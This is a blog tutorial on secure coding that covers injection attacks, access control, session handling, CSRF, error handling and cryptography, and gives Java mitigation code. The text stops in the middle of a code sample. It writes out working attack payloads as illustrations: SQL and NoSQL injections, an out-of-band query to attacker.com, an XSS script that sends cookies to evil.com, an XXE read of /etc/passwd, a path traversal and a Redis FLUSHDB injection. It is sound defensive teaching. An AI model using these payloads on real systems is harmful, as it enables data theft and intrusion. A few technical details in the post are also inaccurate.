Forem: Martin Belov

Secure Coding Principles

Martin Belov — Mon, 09 Sep 2024 10:45:47 +0000

After exploring how to create a secure and persistent application architecture in Secure & Resilient Design article, we have learned how to create a solid foundation for our system.
Now our goal is to ensure security in the code of its components, because about 75% of attacks come from the application layer. We are going to describe the principles of secure coding and best solutions to implement them.

Never Trust User Input

This is the first and most fundamental principle that you need to wrap your head around. Any user input should be validated on the server side, and the content displayed to the user should be sanitized.

We divide validation into 2 types: syntax validation and semantic validation.
Syntax validation implies that the data matches the format that we expect. For example, validating that the value entered is a number, e-mail address corresponds to a standard format, or the date is in the correct format (e.g. YYYY-MM-DD).
Semantic validation, on the other hand, checks that the data is semantically correct. This can include checking that the date of birth is not a later than current one, that the age is within a reasonable range (e.g. 0 to 150 years old), or in another field, that the transaction amount does not exceed the balance available to the account.

I'm sure most of you have heard about attack methods such as SQL, NoSQL, XSS, CMD, LDAP, and similar injections. Despite the fact of everyone knowing about them, the Injection vulnerability type is still at the leading positions in most applications, according to the OWASP Top 10. Why is this?

The problem is that developers often underestimate the complexities of security, do not consult with security as they design software, or at best rely on out-of-date security practices. Fast pace of development, business side pressures, and limited resources cause teams to focus on functionality and deadline over security. Many organizations also rely on WAF to create the illusion of total security against attacks, when in reality WAF is addition to other security practices. So let's say that, if Morpheus offered them a pill, they would choose the red one.

Let's refresh our memory, and look at the top application vulnerabilities caused by missing or incorrect input validation, and determine the most effective methods to mitigate them:

SQL Injection

SQL Injection is a type of injection attack that both rookies and security experts rank as the most likely. The attack is successful if SQL syntax data is “injected” via user input in a way that is read, modified, and executed in the database.

Basic examples of SQL injection in action:

String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";

If the attacker sends admin' -- in the input, then the final query will be:

SELECT * FROM users WHERE username = 'admin' --' AND password = ''

-- commenting out a password check, thus depending on the context, may give away access to the system. Obviously, in case of real attacks, we should expect more intricate payloads.

For example, to bypass basic filters, the following are often used Hexadecimal SQL Injection:

String query = "SELECT * FROM users WHERE user_id = " + userId;

Let's convert 1 OR 1=1 -- into hexadecimal format and get 0x31204F5220313D31. If we submit this hexadecimal value into the form, we will get the following query:

SELECT * FROM users WHERE user_id = 0x31204F5220313D31

which is equivalent to:

SELECT * FROM users WHERE user_id = 1 OR 1=1 --

As should be evident by now, this will return all users.

How does a threat actor determine if an attack surface is vulnerable to SQL injection?

Typically, blind SQL injections are used to identify this vulnerability. The two most popular types are: Time based SQL Injection and Out-of-Bound SQL Injection. They are often used to identify vulnerable targets among the mined database of sites operating on the same basis (e.g. in WooCommerce).

Time based SQL Injection
The name speaks for itself. Let's take a look at the following example input:

' OR IF(1=1, SLEEP(10), false) --

The whole point of the attack is to monitor the server response time. If there are delays in the response (in our case around 10 seconds), it means that the application is vulnerable to SQL Injection and the attack can be launched.

Out-of-Bound SQL Injection
This is a more tedious SQL injection attack that relies on asyncronous database entries and its success depends heavily on the configuration of the target server. As an example, let's imagine that our target is using Microsoft SQL Server.

The attacker runs their server on attacker.com with the goal of intercepting all incoming DNS requests to the target and routing them to the attacker's server, which is the server vulnerability identifier.

After that, they send the following payload:

'; EXEC master..xp_dirtree '//attacker.com/sample'--.

If the database is misconfigured, xp_dirtree initiates a DNS lookup for the domain attacker.com, attempting to resolve the network path //attacker.com/sample. The attacker is not trying to steal data this way, their goal is to detect the presence of a vulnerability, which they do in this method as their server intercepts DNS requests to themselves.

Mitigation

The only appropriate solution for mitigating this type of vulnerability is to validate the input and then use Prepared Statements.

Validation alone will not save you from SQL injections. It is hard to make a universal rule, so we need to guarantee isolation of user input from query. Validation here acts as an additional yet mandatory layer of security to make sure that the data is syntactically and semantically correct.

Here's an example of a proper code, with validation and using Prepared Statement. We will use OWASP Netryx Armor as the validation tool:

armor.validator().input().validate("username", userInput)
        .thenAccept(validated -> {
            var query = "SELECT * FROM users WHERE username = ?";

            try (var con = dataSource.getConnection()) {
                var statement = con.prepareStatement(query);
                statement.setString(1, validated);

                // execute query
            }
        });

If our goal is to passively block such data, machine learning models like Naive Bayes do a good job detecting injection attempts.

NoSQL Injection

It is a popular misconception that NoSQL databases are not susceptible to injection attacks. The protection techniques here are the same as SQLi - input validation, data isolation and strict typing.

MongoDB

Despite the fact that the MongoDB driver for Java, especially in recent versions, effectively isolates the data coming inside the filters, we still need to look at examples to understand the principle of vulnerability.

Let's imagine we have an endpoint; it returns users by their name.

POST /api/user
Accepts: application/json

Searching for users looks like this under the hood:

db.users.find({
  username: body["username"],
});

MongoDB allows you to construct complex queries that include the following operators:

$ne - not equals
$gt - greater than
$lt - less than

If the attacker sends the following construct in the body of the request:

{
  "username": { "$ne": null }
}

then it will construct the following query to the database:

db.users.find({
  username: { $ne: null },
});

To describe the query in human terms, it literally means “find me all users whose username is not equal to null”.

Redis

In Redis, injection is possible if you use the Command-Line Interface (CLI) or if your library, through which you work with Redis, also operates through the CLI.

Let's imagine that we need to store a value obtained from a query in Redis.

SET key {user_data}

An attacker can use the \n character (line break) to execute a database query on top of their own. For example, if they submit “userData”\nSET anotherKey “hi nosqli”, it will cause the following commands to be executed:

SET key "userData"
SET anotherKey "hi nosqli"

Or worse, they can delete a base by subming:
“userData”\nFLUSHDB (or FLUSHALL, to delete all bases).

XSS Injection

Also an extremely popular injection attack method, which unlike SQL Injection, targets the user rather than the server. The ultimate goal of this attack is to execute JS code in the user's browser.

There are four main varieties of this attack:

Stored XSS

Stored XSS occurs when an attacker submits malicious data to the server and the server then displays this data to other users.

For example, let's say we have a movie site where you can leave comments. The attacker sends a comment with the following content:

Very interesting film about extremely sad fairytale. <script>var img=new Image();img.src='http://evil.com/steal-cookie.php?cookie='+document.cookie;</script>

Once the comments have loaded, depending on the browser, the DOM tree will render the script and we'll get this final HTML:

<body>
  <!--Some code--->
  <div id="comments">
    <div class="comment">
      <p>Very interesting film about extremely sad fairytale.</p>
      <script>
        var img = new Image();
        img.src = "http://evil.com/steal-cookie.php?cookie=" + document.cookie;
      </script>
    </div>
    <div class="comment">...</div>
  </div>
  <!--Some code--->
</body>

Depending on the browser, the <script> tag may be inside the <p> tag, but this will not prevent the script from executing.

Reflected XSS

Let's go by the name, an attack occurs when a malicious script is “reflected” from a web-server in response to an HTTP request. To understand this, let's look at the following scenario:

We have an endpoint /error with a query parameter message that specifies the error message. Here is an example HTML file of the page:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <title>Error Page</title>
  </head>
  <body>
    <h1>Error Page</h1>
    <p>Your error message: <strong>${message}</strong></p>
  </body>
</html>

If an attacker sends a link to a user, with the following payload:
http://example.com/error?message=%3Cscript%3Ealert('XSS');%3C%2Fscript%3E, the server will replace the placeholder ${message} with the value from query, and return an HTML file with the malicious script.

DOM-based XSS

In this type of XSS injection, all processing takes place directly on the client, bypassing the server. Let's take a look at the error screen as an example:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <title>Error Page</title>
  </head>
  <body>
    <h1>Error Page</h1>
    <p>Your error message: <strong id="error-message"></strong></p>
    <script>
      const params = new URLSearchParams(window.location.search);
      const message = params.get("message");
      document.getElementById("error-message").innerHtml = message;
    </script>
  </body>
</html>

As you can see, in the case of such HTML page, the query parameter is processed by the client itself, not by the server. If this example can still be filtered through the server, the content in the case of using hashes (for example: http://example.com/#<script>alert('XSS');</script>), does not pass through the server and cannot be filtered by it.

Polymorphic XSS

Similar to polymorphic viruses, each time malicious code is executed, its code changes. To avoid pattern-based detection, the attacker often uses multiple encoding, and to hide the code, creates it on the fly.

For example, let's take our “innocent” script:

<script>
  alert("XSS");
</script>

We can present it in a more complex way as well. Not so heavy obfuscation, so to say:

<script>
  let a = String.fromCharCode;
  let script =
    a(60) + a(115) + a(99) + a(114) + a(105) + a(112) + a(116) + a(62);
  let code =
    a(97) +
    a(108) +
    a(101) +
    a(114) +
    a(116) +
    a(40) +
    a(39) +
    a(88) +
    a(83) +
    a(83) +
    a(39) +
    a(41);
  let end =
    a(60) + a(47) + a(115) + a(99) + a(114) + a(105) + a(112) + a(116) + a(62);
  document.write(script + code + end);
</script>

Now let's encode it two times and pass the parameters:
http://example.com/?param=%253Cscript%253Elet%2520a%2520%253D%2520String.fromCharCode%253B%250Alet%2520script%2520%253D%2520a%252860%2529%2520%252B%2520a%2528115%2529%2520%252B%2520a%252899%2529%2520%252B%2520a%2528114%2529%2520%252B%2520a%2528105%2529%2520%252B%2520a%2528112%2529%2520%252B%2520a%2528116%2529%2520%252B%2520a%252862%2529%253B%250Alet%2520code%2520%253D%2520a%252897%2529%2520%252B%2520a%2528108%2529%2520%252B%2520a%2528101%2529%2520%252B%2520a%2528114%2529%2520%252B%2520a%2528116%2529%2520%252B%2520a%252840%2529%2520%252B%2520a%252839%2529%2520%252B%2520a%252888%2529%2520%252B%2520a%252883%2529%2520%252B%2520a%252883%2529%2520%252B%2520a%252839%2529%2520%252B%2520a%252841%2529%253B%250Alet%2520end%2520%253D%2520a%252860%2529%2520%252B%2520a%252847%2529%2520%252B%2520a%2528115%2529%2520%252B%2520a%252899%2529%2520%252B%2520a%2528114%2529%2520%252B%2520a%2528105%2529%2520%252B%2520a%2528112%2529%2520%252B%2520a%2528116%2529%2520%252B%2520a%252862%2529%253B%250Adocument.write%2528script%2520%252B%2520code%2520%252B%2520end%2529%253B%250A%253C%252Fscript%253E

This already looks harder and less comprehensible, doesn't it? To further hide their intentions, attackers can use triple and quadruple encoding. When data is passed through a query, the only limit the browser has is the length of the final query, not the level of encoding.

Mitigation

XSS occurs as a result of data either being displayed at the client side without sanitization or not being validated when it comes to the server, right?

So we need to do the following:

Validate the data when it comes into the server
Sanitize the data at the moment of issuing to the client
Configure a Content-Security policy to prevent malicious scripts from being executed by limiting script sources with the use of directives

All of this is handled by OWASP Netryx Armor.

Validation:

var userInput = ....

armor.validator().validate("ruleId", userInput)
    .thenAccept(input -> {
        // after validation
    });

Sanitization:

var outputHtmlData = ....;
var outputJsData = ....;

var sanitizedJsData = armor.encoder().js(JavaScriptEncoderConfig.withMode(JavaScriptEnconding.HTML)
    .encode(outputJsContent);

var sanitizedHtmlData = armor.encoder().html().encode(outputHtmlData);

OWASP Netryx Armor configures a Netty-based web server including Content-Security policies right out of the box. For secure configuration of policies, it is highly recommended to refer to the OWASP Cheat Sheet Series

XXE Injection

Let's imagine that we provide an API for integration to partners who send us order data in XML format. Then they can view the order information from their personal dashboard.

As a result, the attacker has sent us XML of the following kind:

<?xml version="1.0"?>
<!DOCTYPE order [
  <!ELEMENT order ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<order>
  <customer>John Doe</customer>
  <items>&xxe;</items>
</order>

If the XML parser is misconfigured, the specified contents of the /etc/passwd file will be written to the <items> block as the injection.

Mitigation

It is important to configure our XML parser correctly and is a technique common to all programming languages:

Disable the use and loading of external DTDs (Document Type Definition)
Disable processing of external generic entities
Disable processing of external parametric entities

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

Path Traversal Attack

This is another popular problem caused by the lack of input validation, which allows files to be retrieved outside of the server's main directory.

Let's imagine we are outputting some content on the server as follows:

@Controller
public class FileDownloadController {

    private final Path rootLocation = Paths.get("/var/www/files");

    @GetMapping("/download")
    public ResponseEntity<Resource> download(@RequestParam("filename") String filename) {
          Path file = rootLocation.resolve(filename);

          Resource resource = new UrlResource(file.toUri());

          if (resource.exists())
              return ResponseEntity.ok().body(resource);

          return ResponseEntity.notFound().build();
    }
}

And the user performed the following query:
GET http://your-server.com/download?filename=../../../../etc/passwd

According to the code, the final path will be /var/www/files/../../../../etc/passwd, which is equivalent to /etc/passwd. This now means if the server has permissions to traverse to this directory, will output the entire etc/passwd file.

Mitigation

Mitigation, as I'm sure you've already guessed, is quite simple. All you need to do is normalize the final path and check if you are within the correct directory.

OWASP Netryx Armor allows you to customize the desired directory and validate the resulting directory:

armor.validator().path().validate(finalPath)

Parameter Tampering

Let's imagine we are running our own e-commerce site. A user places an order for $100 on their personal credit card. To the server, a typical transaction would look like this:

<form action="https://sample.com/checkout" method="POST">
  <input type="hidden" name="merchant_id" value="123456" />
  <input type="hidden" name="order_id" value="78910" />
  <input type="hidden" name="amount" value="100.00" />
  <input type="hidden" name="currency" value="USD" />

  <label for="cardNumber">Card number:</label>
  <input type="text" id="cardNumber" name="cardNumber" />

  <label for="cardExpiry">Expires:</label>
  <input type="text" id="cardExpiry" name="cardExpiry" />

  <label for="cardCVC">CVC:</label>
  <input type="text" id="cardCVC" name="cardCVC" />

  <!--Other fields-->

  <button type="submit">Pay</button>
</form>

How does e-commerce work once that message is submitted? A user submits an order with a webhook enabled form. This form communicates order details, user data and payment data (see above) back to the merchant's server. The merchant's server then sends a message back to the user with a message like "Thanks for submitting your order!" but behind the scenes, the status message typically looks like the following:

{
  "order_id": "78910",
  "merchant_id": "123456",
  "status": "success",
  ...other fields

  "signature": "abcdefghijklmn...xyz"

}

What if the $100 order could turn into one that was only $1.00? This attack could be accomplished via changing the order cost with developer tools on an insecure form where input validation fails yet still submits the order. In this described attack scenario, the server will still receive a notification with the status success, but the purchase amount will be different.

If the server does not check the integrity of data that can be changed by the user, it will lead to a Parameter Tampering attack. A signature is provided for verification on the service side. This can apply not only to fields that the user submits via forms, but also to cookie values, headers, etc.

Mitigation

Data that depends on user input and whose authenticity cannot be guaranteed, often due to dependency on external services beyond our control, requires protection using HMAC or digital signatures.

Imagine if you issued JWT tokens without signatures. Any user could decode the token, replace the parameters in it with their own and send them to the server.

If you will be using digital signatures, in the Secure Cryptography section we'll look at which algorithms are the best choice right now.

ReDoS & RegEx Injection.

In many scenarios, we've discussed syntax validation, where we verify that the data actually conforms to the format we need. One of the most popular methods for format validation are RegEx expressions.

When a regular expression tries to find a match in a string, it uses a mechanism called back-tracking. This means that the regex “tries” different combinations to match the pattern to the text, and if something doesn't match, it goes back and tries another path.

If our regex contains constructs that cause excessive backtracking, it will cause the process to take a very long time to complete. This is often due to the use of greedy quantifiers: +, *.

Let's not go far and consider the following popular regex: ^(a+)+ with matching the following text: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX.
We have 2 nested greedy quantifiers here, which forces the RegEx engine to split the sequence from a into groups in every possible way. As a result, the number of checks we have starts to grow exponentially with each addition of a, and we will have a full match time of more than 30 seconds.

Example of injection

Let's imagine that we give users the ability to protect their social media groups from spam comments by giving them the ability to add their own regular expressions to filter messages.

If an attacker adds a regular but malicious expression, and writes a post with a lot of backtracking, it will cause the processing flow to stall.

Mitigation

The easiest and most effective way to defend against this attack is to limit the time of execution of the regular expression. This is done simply by running the validation process in a separate thread (or virtual thread) and specifying the operation timeout.

The OWASP Netryx Armor validator is resistant to this type of attack.

Access Control

Access control primarily involves authenticating the user (simply put, identifying who has the access) and authorizing them (whether they have the right to access us). Broken Access Control is the top #1 vulnerability that is found in applications in one way or another.

Before we look at the types of access controls, let's first establish one important rule: All endpoints must be protected out of the box, and public endpoints must be explicitly specified, not the other way around.

MAC

MAC (Mandatory Access Control) is a strict access control model where policies are defined by the system and cannot be changed by users under any circumstances to avoid accidental or malicious escalation of rights.

Typically, in MAC we set the type of protected object, and a security level label. Government agencies, for example, typically use labels like TOP SECRET, SECRET, CONFIDENTIAL, and UNCLASSIFIED.

This principle also implies following the need to know principle, so if an entity (e.g. a user) is granted access to the SECRET security level, it is mandatory to specify which specific categories of that security level should be granted access to. Simply put, if you grant a user access to documents of confidential level, it is necessary to specify which specific types of documents the user has access to.

DAC

DAC (Discretionary Access Control) is a less strict methodology than MAC for access control. In this model, access to a protected object by other entities is determined not by the system, but by the owner of the object. Accordingly, the use of this model is justified when users/processes have to manage access to their data themselves. The model implies that access can be granted not only to individual users, but also to certain groups to which those users are assigned.

We encounter DAC almost every day in the file system of Unix based operating systems and Windows. In it, it consists of the following parameters:

File Owner - someone who is able to grant rights to their resource.
Group - users who are allocated certain rights to the resource.
Access Rights - write/read/execute rights and combinations thereof.

RBAC

RBAC (Role Based Access Control) is the most popular and used type of access control that is used in web applications. It is convenient and effective in most scenarios:

As the name implies, every entity in our system has roles assigned to it, and each role has a list of permissions or policies that are used to further determine whether it can perform a certain action or not. Roles can inherit each other's permissions.

Simply put, let's imagine we have a blog with 4 roles: USER, AUTHOR, EDITOR and ADMIN. Let's represent them in JSON format and give them the format of permissions:

{
  "roles": {
    "USER": {
      "inherits": [],
      "permissions": [
        "article.view.published",
        "comment.create",
        "comment.view.*",
        "comment.edit.own",
        "comment.delete.own"
      ]
    },
    "AUTHOR": {
      "inherits": ["USER"],
      "permissions": [
        "article.create.draft",
        "article.edit.own",
        "article.view.own",
        "article.submit.for_review"
      ]
    },
    "EDITOR": {
      "inherits": ["AUTHOR"],
      "permissions": [
        "article.edit.*",
        "article.publish",
        "article.unpublish",
        "comment.moderate",
        "article.assign.to_author"
      ]
    },
    "ADMIN": {
      "inherits": ["EDITOR"],
      "permissions": [
        "user.create",
        "user.edit",
        "user.delete",
        "site.configure",
        "article.delete.*",
        "comment.delete.*",
        "site.manage_advertising"
      ]
    }
  }
}

In our blog management system, the USER role allows you to view published articles and interact with comments. AUTHOR inherits the USER rights and can additionally create and edit your articles by submitting them for review. EDITOR inherits the rights of AUTHOR and can publish, unpublish and edit only his/her articles, as well as moderate comments and assign tasks to authors. The ADMIN has full access to all aspects of the system, including user management, site customization, and content removal.

Often (including in our example) a wildcard is allowed in the permissions to mean ALL. For example, we have the permissions:

article.delete.own - Gives the right to delete your own articles.
article.delete.userid - The right to delete a user with ID userid.

And now we want to give EDITOR the right to delete all articles. In this case, we write:

article.delete.* - Here * is a wildcard.

Often, in addition to roles, users are also allowed to assign additional rights (or take away rights that their role has).
In order to take away a right, the - sign is usually added before the right. For example, to take away the right to moderate comments from a user with the EDITOR role, we add the following policy:

-comment.moderate note that “-” at the beginning.

Session Management

Once we authenticate a user, we create a session for them, and further store their session ID in cookies. The important thing here is to make sure we have considered all the risks during the authentication process and afterwards, so let's look at the main threats we need to consider:

Session Fixation

The goal of this attack is simple and straightforward - the attacker must make a legitimate user authorize with the attacker's session ID.

Let's consider a simple example:
Depending on the web server architecture, it is often allowed to pass the session ID not via Cookies, but via Query parameters (this is especially possible if the user blocks cookies).
As a result, when attempting to authorize, the attacker is given the session ID (e.g. /login?sid=ABCDEFGH..... Using phishing or any other methods, they can force the user to click on the link where their session ID is specified and authorize, after which the attacker is authorized along with the user.

Mitigation

The mitigation of this attack vector is obvious - after a user is successfully authenticated, their current session ID should reset. In most of popular web frameworks (including Spring Boot, Quarkus), this is the default behavior, but it worth specifying, in case something is changed:

@Bean
public SecurityFilterChain secure(HttpSecurity http) throws Exception {
    return http.sessionManagement(session -> session.sessionFixation().migrateSession())
            .build();
}

CSRF Attacks

CSRF (Crosst Site Request Forgery), also known as XSRF, is a type of attack on web applications where the attacker's goal is to perform an action on behalf of a user already authenticated to the system. That is, the attacker's goal is to trick the user into accidentally clicking on a special link or downloading a specific resource (such as an image), which will result in a request being executed on the user's behalf on another site where the user is authorized. For example, the website to which the user was redirected by the attacker may have had such a form and a script when downloading:

<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="amount" value="1000" />
  <input type="hidden" name="to_account" value="123456789" />
</form>

<script>
  document.forms[0].submit();
</script>

Clearly, in real-world scenarios, scripts are much more sophisticated, but techniques for defending against CSRF attacks are effective for all:

Mitigation

CSRF tokens
The most popular method of CSRF protection is the use of CSRF tokens. These are random tokens that are issued after authentication, which can even be stored directly in forms issued to the user. Most web frameworks support them out of the box:

@Bean
public SecurityFilterChain secure(HttpSecurity http) throws Exception {
    return http.sessionManagement(session -> session.sessionFixation().migrateSession()) // migrating session as in previous example
            .csrf(csrf -> csrf.csrfTokenRepository(/* your repository */)) // enabling CSRF
            .build();
}

However, depending on security requirements, they can be issued according to the following principle:

For most applications: 1 CSRF token per session. When the session is reset/updated, the token will be updated.
For high risk applications: CSRF token should be updated every request sent by the user (e.g. issued in X-CSRF-TOKEN header for subsequent request)

Same-Site attribute setting
If the application architecture allows, you can set the Same-Site attribute to Strict or Lax by session cookies. This will let the browser know that in the case of Strict, the cookie can only be sent if the user interacts on the site for all requests, and in the case of Lax, to restrict sending only with insecure requests (e.g. POST requests).

Use of tokens instead of sessions
Using JWT tokens instead of cookie sessions, and sending them in headers is a viable option to protect against CSRF attacks, because it requires access to localStorage which is separated between sites, but still, practices described above are a good tone.

Secure Error Handling

Our application, like any other information system goes from one state to another, and it is possible that eventually we will have to switch to the error state.
We've already discussed this in a previous article, but let's do it again. Once an application fails and is in error state, it is critical for it to fail safe. An error can be considered to be failing safe if:

No technical details of the system were issued as a result of the error
The integrity and confidentiality of data has not been compromised
The system was able to return to a normal, operational state
The information about the error was properly logged, for further analysis

In the context of secure programming, we especially need to pay attention to how we handle errors in our application. In many web frameworks like Spring Boot error handling is centralized, allowing them to be handled very efficiently.

By default, in case an error we don't know is called (trivially, IllegalStateException, it can stand for anything), most frameworks will handle it in a response with the status code 502 Internal Server Error, and put the stacktrace right in the response. This is a direct path to Information Disclosure - it will give away a lot of information not just about the application's programming language, but about its internal structure. It exists only to speed up the development process so that you don't have to connect to the server an extra time to see the error, but when you go into production, this behavior must be disabled.

Information Disclosure is actually a very dangerous error that can lead to catastrophic consequences. Don't forget, if your application becomes a target for attackers, the very first and almost the most basic step in exploiting vulnerabilities is gathering information about the system. Because knowing how your system is organized makes it much easier to find vulnerabilities in it.

What have we learned from this? It is much easier and more convenient to designate a number of custom errors that are under our control (i.e. we will understand what exactly went wrong) and process them in a centralized way. And all other errors unknown to us - securely logged without issuing a stacktrace to the user. Securely logged means that even though logs are stored locally (or on some log server), they should not contain sensitive information (e.g. API keys, passwords, etc.). Failure to do so will come back to bite you in case of certain internal threats.

For example, let's imagine that a user wants to find some order by ID. In case it is not found, we will call our own OrderNotFoundException error:

public class OrderNotFoundException extends RuntimeException {
    private final long orderId;

    public OrderNotFoundException(long orderId) {
        this.orderId = orderId;
    }

    public long getOrderId() {
        return orderId;
    }
}

Let's declare a general error style, specifying the message we can display to the user:

public class ErrorResponse {
    private final String errorCode;
    private final String errorMessage;

    public ErrorResponse(String errorCode, String errorMessage) {
        this.errorCode = errorCode;
        this.errorMessage = errorMessage;
    }

    public String getErrorCode() {
        return errorCode;
    }

    public String getErrorMessage() {
        return errorMessage;
    }
}

And finally process them. Don't forget, we process all the errors we know about, and the unknown ones are logged and returned to the user as little information as possible.

@ControllerAdvice
public class GlobalExceptionHandler {

    private static final Logger logger = LoggerFactory.getLogger(GlobalExceptionHandler.class);

    @ExceptionHandler(OrderNotFoundException.class)
    public ResponseEntity<ErrorResponse> handleOrderNotFound(OrderNotFoundException ex) {
        ErrorResponse errorResponse = new ErrorResponse(
                "ORDER_NOT_FOUND",
                "Order with ID " + ex.getOrderId() + " not found"
        );
        return new ResponseEntity<>(errorResponse, HttpStatus.NOT_FOUND);
    }}

    @ExceptionHandler(Exception.class)
    public ResponseEntity<ErrorResponse> handleUnknown(Exception ex) {
        logger.error("An unexpected error occurred: {}", ex.getMessage(), ex);

        ErrorResponse errorResponse = new ErrorResponse(
                "INTERNAL_SERVER_ERROR",
                "An unexpected error occurred. Please try again later."
        );
        return new ResponseEntity<>(errorResponse, HttpStatus.INTERNAL_SERVER_ERROR);
    }
}

Ideally, we should not only log unknown errors, but also use a centralized Error Tracker like Sentry. This will allow us to react in time, especially if the unexpected error is critical:

    @ExceptionHandler(Exception.class)
    public ResponseEntity<ErrorResponse> handleUnknown(Exception ex) {
        logger.error("An unexpected error occurred: {}", ex.getMessage(), ex);

        Sentry.captureException(e);

        ErrorResponse errorResponse = new ErrorResponse(
                "INTERNAL_SERVER_ERROR",
                "An unexpected error occurred. Please try again later."
        );
        return new ResponseEntity<>(errorResponse, HttpStatus.INTERNAL_SERVER_ERROR);
    }

Now let's summarize what we should have understood from here:

You cannot allow technical information to be leaked to users. This will give attackers a greater chance to exploit your system.
Logging errors for further analysis is a good practice, but you should not let sensitive information get into the logs.
Do not generalize errors (e.g. by throwing RuntimeException), but specify them for clear processing.
For rapid response to unexpected errors, it is good practice to use centralized Error trackers.

Secure Cryptography

When we work with sensitive data, we rely on cryptography. For example:
hash data that we don't need to know the original form of (e.g. passwords)
encrypt data that we need to revert to its original form (e.g. data transfers)
sign data that we need to ensure the integrity of (e.g. JWT tokens)

Before we move on to cryptography solutions, remember one golden rule: Do not try to create your own cryptographic algorithm. Leave the cryptography to the cryptographers.

Secure Hashing

When it comes to hashing algorithms, we divide them into fast and slow. We only use fast hashing algorithms where speed is important, such as for signing and verifying the integrity of data. These include:

SHA-256
SHA-1
SHA-3
MD5 - Deprecated for cryptographic operations and is only valid as a noncryptographic checksum.

Slow algorithms are most often used to hash confidential data for later storage, because they are designed to require more processing power (e.g. memory consumption, CPU) to be resistant to types of attacks like brute force:

BCrypt - One of the most popular hashing algorithms, which is most common already in legacy systems. Good, but not resistant to high-performance attacks on specialized devices.
SCrypt - Unlike BCrypt, an algorithm based on Blowfish that is resistant to attacks using parallel computing (e.g. GPUs).
Argon2id - Winner of the Password Hashing Competition (PHC) in 2015 and the most flexible among the described algorithms, which allows to customize the hashing complexity for different security requirements.

Very often, in addition to Brute Force attacks, attackers use Rainbow Hash Tables to retrieve the original data (i.e. passwords) from their hash. These tables contain pre-computed hashes for a wide range of passwords, and while slow hashes make it difficult for the attacker (due to resource consumption), the most effective method of dealing with them is to use Salt and Pepper.

Salt is a randomized set of bytes/symbols, most often at least 16-32 bytes long, that is added to the beginning or end of our data before hashing. It is stored in open form and is unique to each data that we hash.

The Pepper is exactly the same random set of bytes, which unlike Salt is secret and NOT unique for each chunk of data (i.e. 1 pepper for all passwords). It acts as an additional layer of defense and should be kept separate from our data. For example, if an attacker gains access to the password database, not knowing the pepper will make it nearly impossible to retrieve the original passwords.

Secure encryption

Encryption comes in two types - symmetric and asymmetric. While symmetric encryption uses a single key to encrypt and decrypt data, asymmetric encryption has 2 keys: public for data encryption and private for decryption. It is important to use only up-to-date encryption algorithms that are invulnerable to brute force attacks, resistant to ciphertext analysis and simply effective in our realities.

The most secure symmetric algorithms currently available include:

AES with GCM mode (preferably 256 bits), which is often hardware accelerated.
ChaCha20-Poly1305 - A stream cipher, particularly effective compared to AES in scenarios where there is no hardware acceleration for AES.

We can use both of these ciphers with Bouncy Castle:

public class ChaCha20Poly1305Cipher {

    public byte[] encrypt(byte[] key, byte[] nonce, byte[] data) {
        return processCipher(true, key, nonce, data);
    }

    public byte[] decrypt(byte[] key, byte[] nonce, byte[] encrypted) {
        return processCipher(false, key, nonce, encrypted);
    }

    private byte[] processCipher(boolean forEncryption, byte[] key, byte[] nonce, byte[] input) {
        ChaCha20Poly1305 cipher = new ChaCha20Poly1305();
        cipher.init(forEncryption, new ParametersWithIV(new KeyParameter(key), nonce));

        byte[] output = new byte[cipher.getOutputSize(input.length)];
        int len = cipher.processBytes(input, 0, input.length, output, 0);

        try {
            cipher.doFinal(output, len);
        } catch (InvalidCipherTextException e) {
            throw new IllegalStateException("Cipher operation failed", e);
        }

        return output;
    }
}

public class AesGcmCipher {
    private static final int GCM_NONCE_LENGTH = 12;
    private static final int GCM_MAC_SIZE = 128;

    public byte[] encrypt(byte[] key, byte[] nonce, byte[] data) {
        return processCipher(true, key, nonce, data);
    }

    public byte[] decrypt(byte[] key, byte[] nonce, byte[] encrypted) {
        return processCipher(false, key, nonce, encrypted);
    }

    private byte[] processCipher(boolean forEncryption, byte[] key, byte[] nonce, byte[] input) {
        if (nonce.length != GCM_NONCE_LENGTH) {
            throw new IllegalArgumentException("Invalid nonce size for GCM: must be " + GCM_NONCE_LENGTH + " bytes.");
        }

        GCMBlockCipher cipher = new GCMBlockCipher(new AESEngine());
        AEADParameters parameters = new AEADParameters(new KeyParameter(key), GCM_MAC_SIZE, nonce);
        cipher.init(forEncryption, parameters);

        return doFinal(input, cipher);
    }

    private byte[] doFinal(byte[] input, GCMBlockCipher cipher) {
        byte[] output = new byte[cipher.getOutputSize(input.length)];
        int len = cipher.processBytes(input, 0, input.length, output, 0);

        try {
            cipher.doFinal(output, len);
        } catch (InvalidCipherTextException e) {
            throw new IllegalStateException("Cipher operation failed", e);
        }

        return output;
    }
}

In practice, symmetric algorithms are more efficient and faster than asymmetric algorithms, so asymmetric algorithms are often used to exchange symmetric keys or establishing a shared symmetric key. This is where cryptography based on elliptic curves comes into play:

Elliptic Curve Cryptography (ECC)

One of the main uses of ECC is Elliptic Curve Diffie-Hellman (ECDH), which allows two parties to securely agree on a common symmetric key thanks to the mathematical properties of curves. This key is then used to encrypt the data using the faster and more efficient symmetric algorithm we described above. One of the most popular curves for this task is Curve25519 (also known as X25519):

The concept is simple. Each side generates its own key pair: a private key and a public key. The private key remains secret and the public key is passed to the other party. Each party then uses its private key and the opposite party's public key to compute a shared secret.

The computed shared secrets will be the same for both parties, but for an attacker who does not possess the private key of either party, the secret will remain unknown. Elliptic curve key exchange is based on a mathematical operation called scalar multiplication: the client multiplies the server's public key by own private key, and the server multiplies the client's public key by own private key. Due to the peculiarities of curve math, the result of the multiplication will be the same. This is the shared secret.

In fact, we meet this algorithm every day, the same principle is used to exchange keys between client and server when establishing TLS connection.

The implementation of ECDH in Java is very simple, using Bouncy Castle. In the example, we will just generate keys for both parties (the client and server in practice do not know each other's private keys), and calculate the Shared Secret:

public class ECDHKeyAgreementExample {
    private static final SecureRandom SECURE_RANDOM;

    static {
        try {
